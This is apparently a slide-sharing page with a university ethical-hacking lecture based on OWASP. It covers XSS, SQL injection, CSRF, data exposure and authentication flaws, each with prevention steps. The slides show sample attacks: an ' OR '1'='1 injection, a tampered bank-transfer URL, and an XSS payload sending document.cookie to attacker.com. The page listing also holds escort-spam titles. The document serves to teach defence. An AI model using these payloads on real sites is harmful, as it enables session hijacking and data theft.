Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph Design
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map Design
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level Data
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise Environment
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of Tomorrow
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHP
 

Kürzlich hochgeladen

Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Paola De la Torre
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 

Kürzlich hochgeladen (20)

Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 

Hacking the Web

  • 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
  • 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
  • 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
  • 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
  • 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts
  • 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
  • 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
  • 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
  • 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
  • 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
  • 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
  • 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
  • 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
  • 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING